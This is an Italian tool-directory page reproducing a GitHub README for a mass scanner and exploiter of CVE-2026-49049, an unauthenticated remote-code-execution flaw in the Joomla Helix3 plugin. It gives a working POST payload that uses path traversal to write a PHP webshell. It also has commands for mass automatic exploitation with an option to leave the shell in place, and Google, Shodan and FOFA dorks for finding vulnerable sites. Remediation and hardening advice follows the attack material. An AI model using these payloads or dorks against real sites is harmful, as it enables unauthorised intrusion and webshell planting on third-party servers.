Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/exdev994/cve-2026-49049
RicognizioneScanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubexdev994/cve-2026-49049

CVE-2026-49049

CVE-2026-49049 Scanner RCE AJAX non autenticato per Joomla Helix3 (JoomShaper)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
CVE-2026-49049 — CVE-2026-49049 Scanner RCE AJAX non autenticato per Joomla Helix3 (JoomShaper) | Kitploit

CVE-2026-49049 — Helix3 (JoomShaper) Joomla Unauthenticated AJAX RCE Scanner

CVE CVSS Python License Author

Scanner / verificatore di massa per CVE-2026-49049: handler AJAX non autenticato nel plugin Helix3 Framework per Joomla (v1.0 – 3.1.0, corretto in 3.1.1+).

Solo test autorizzati. Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta.


Indice

  • Panoramica della vulnerabilità
  • Catena RCE
  • Installazione
  • Utilizzo
  • Output di esempio
  • Dork di ricognizione
  • Correzione
  • Struttura del progetto
  • Contributi
  • Riferimenti
  • Disclaimer

Panoramica della vulnerabilità

L'handler onAjaxHelix3() in plugins/ajax/helix3/helix3.php è raggiungibile tramite com_ajax di Joomla senza autenticazione / token CSRF:

root@kitploit:~
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded

data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>

Catena RCE

Lo sfruttamento di massa attivo in ambienti reali spesso lascia una webshell a doppia estensione:

  1. Rileva Helix3 + versione < 3.1.1
  2. save con layoutName=../../up.php + contenuto della webshell PHP
  3. Il salvataggio aggiunge .json → up.php.json finisce nella root web
  4. L'AddHandler di Apache con multi-estensione esegue il token .php
  5. GET /up.php.json?cmd=id → uid=33(www-data) = SHELL OK
root@kitploit:~
Detect Helix3
    → POST com_ajax?plugin=helix3 (action=save, traversal)
    → up.php.json written
    → GET up.php.json?cmd=id
    → uid=33(www-data)

Installazione

root@kitploit:~
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Requisiti: requests>=2.31.0, colorama>=0.4.6, Python 3.9+.


Utilizzo

1. Prepara i target

Modifica targets.txt — un URL / host per riga (# = commento). Il path di Joomla viene conservato:

root@kitploit:~
# contoh
https://example.com/
https://example.com/joomla/
http://192.168.1.50/

2. Scansione read-only (solo rilevamento)

Non rilascia webshell. Controlla la versione + verifica save / remove / import:

root@kitploit:~
python3 scan.py -f targets.txt --scan -o results.txt

3. Auto: rilevamento + rilascio webshell + verifica RCE

root@kitploit:~
python3 scan.py -f targets.txt --auto -c "id" -o results.txt

4. Singolo target

root@kitploit:~
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"

5. Opzioni avanzate

root@kitploit:~
# Keep webshell setelah verify (demo authorized)
python3 scan.py -f targets.txt --auto --keep

# Custom webshell name + traversal depths
python3 scan.py -f targets.txt --auto \
  --webshell-name up.php \
  --traversal-depths "../../,../../../"

# JSON report + concurrency
python3 scan.py -f targets.txt --auto -c "whoami" \
  --threads 20 --timeout 15 \
  -o results.txt --json report.json

# Proxy (Burp / etc)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080

Flag importanti

Avvertenza: la modalità --auto tenta di scrivere una webshell tramite path traversal. Default: la webshell viene rimossa dopo la verifica. Usa --keep solo per demo autorizzate.


Output di esempio

Il terminale mostra tutti gli stati (avanzamento). results.txt contiene solo quelli vulnerabili:

root@kitploit:~
[v] CVE-2026-49049 SHELL OK  https://target.tld  Helix3 2.5.6  save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
    shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell)         https://target.tld  Helix3 3.0.2  save=Y remove=Y import=Y

Le altre etichette (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) compaiono solo nel terminale e non finiscono in results.txt.


Dork di ricognizione

Usa i dork qui sotto per trovare asset Helix3 / Joomla potenzialmente interessati. Esegui la scansione solo di target autorizzati.

Google

root@kitploit:~
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/

Shodan

root@kitploit:~
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"

FOFA

root@kitploit:~
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"

Fingerprint manuale (dopo aver ottenuto l'host)

root@kitploit:~
# Version check
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version

# Unauth save probe (authorized only)
curl -sk -X POST \
  'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Correzione

1. Applicare subito la patch (obbligatorio)

Aggiorna i plugin System – Helix3 Framework e Helix3 – Ajax alla versione 3.1.1 o successiva (consigliata 3.1.2).

  • Backend Joomla → System → Update / Extensions
  • Oppure scarica il pacchetto ufficiale da JoomShaper e installalo manualmente

2. Se già compromesso / oggetto di defacement

L'aggiornamento non rimuove i payload già presenti nel database.

  1. Backend → Site Template Styles → template Helix3 attivo
  2. Apri Custom Code — rimuovi script estranei da Custom JavaScript / CSS / Before Head
  3. Controlla nella tabella #__template_styles la colonna params per custom_js / custom_css iniettati
  4. Elimina i file sospetti nella web root / templates / tmp / media:
    • up.php.json, cox.json, *.php.json, altre webshell
  5. Ruota le credenziali admin, esamina gli account utente, verifica cron / attività pianificate

Segni comuni di compromissione: defacement "Hacked by AntonKill" / "trenggalek6etar", injection di custom_js, file JSON sconosciuti.

3. Hardening (difesa in profondità)

Apache — non usare AddHandler multi-estensione; utilizza:

root@kitploit:~
<FilesMatch "\.php$">
    SetHandler application/x-httpd-php
</FilesMatch>

Nginx:

root@kitploit:~
location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/run/php/php-fpm.sock;
}

PHP php.ini:

root@kitploit:~
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec

Upload / scrittura file: rigenera i nomi dei file, rifiuta le estensioni multi-dot, AllowOverride None nelle directory pubbliche.

4. Verifica dopo la patch

root@kitploit:~
python3 scan.py -t https://YOUR-SITE/ --scan
# Expected: PATCHED  Helix3 3.1.1+  (atau NOT_HELIX3 jika plugin di-uninstall)

Struttura del progetto

root@kitploit:~
CVE-2026-49049/
├── scan.py              # CLI entry point
├── core/
│   ├── engine.py        # ThreadPoolExecutor + results (vuln-only to file)
│   ├── probe.py         # Helix3 detect + save/remove/import + RCE drop
│   └── target.py        # Parse / normalize targets.txt
├── utils/
│   └── banner.py
├── targets.txt          # Input targets
├── results.txt          # Generated (VULN / SHELL_OK only)
├── requirements.txt
└── README.md

Contributi

I contributi della community sono benvenuti. Maintainer: ExDev994.

Linee guida

  • Non committare target live / risultati di scansione / webshell / credenziali
  • Non rimuovere l'avvertenza “authorized testing only”
  • Preferisci PR piccole (un solo tema per PR)
  • Segui lo stile Python esistente (from __future__ import annotations, type hints)
  • Test locale: python3 -m py_compile scan.py core/*.py utils/*.py e python3 scan.py --help

Segnalazioni

Segnala bug / richieste di funzionalità in Issues. Includi:

  • Versione di Python e SO
  • Comando eseguito
  • Output / traceback (oscura i target sensibili)

Contributori

ContributoreRuolo
ExDev994Autore / Maintainer

La vulnerabilità è stata originariamente segnalata da Phil Taylor (mySites.guru). Questo repository è un'implementazione indipendente dello scanner e non è affiliato a JoomShaper o Open Source Matters.


Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49049
  • Advisory (mySites.guru): https://mysites.guru/blog/helix3-security-update-changelog-failure/
  • JoomShaper Helix3: https://www.joomshaper.com/
  • Riferimento PoC read-only: https://github.com/shinthink/CVE-2026-49049
  • Questo repository: https://github.com/ExDev994/CVE-2026-49049

Disclaimer

Questo strumento è destinato esclusivamente a scopi di formazione e test di sicurezza autorizzati.

L'accesso non autorizzato a sistemi informatici è illegale e può violare leggi tra cui la UU ITE indonesiana, il CFAA statunitense e normative equivalenti in altre giurisdizioni.

L'autore (ExDev994) non si assume alcuna responsabilità per l'uso improprio. Utilizzando questo software accetti la piena responsabilità delle tue azioni. La modalità --auto rilascia una webshell temporanea — usala solo su target autorizzati.

Scarica lo strumento
AzioneImpattoVersioni
saveScrittura arbitraria di file JSON + path traversal1.0 – 3.1.0
removeEliminazione arbitraria di file (nessuna restrizione su estensione/percorso)1.0 – 3.1.0
importSovrascrive i parametri del template nel DB (custom_js non sottoposto a escaping → XSS/defacement)solo v3.x
Versione Helix3save / removeimportStato
1.0 – 2.xVulnerabileAssenteVulnerabile
3.0 – 3.1.0VulnerabileVulnerabileVulnerabile
3.1.1+CorrettoCorrettoSicuro
FlagDescrizione
-f / --fileFile di elenco target (default: targets.txt se -t è assente)
-t / --targetURL di un singolo target
--scanRilevamento read-only
--autoRilevamento + verifica RCE (default)
-c / --cmdComando per la verifica (default: id)
-o / --outputFile dei risultati — solo target VULN / SHELL_OK
--jsonReport JSON strutturato
--keepNon rimuovere automaticamente la webshell dopo la verifica
--threadsWorker concorrenti (default: 15)
--timeoutTimeout HTTP in secondi (default: 15)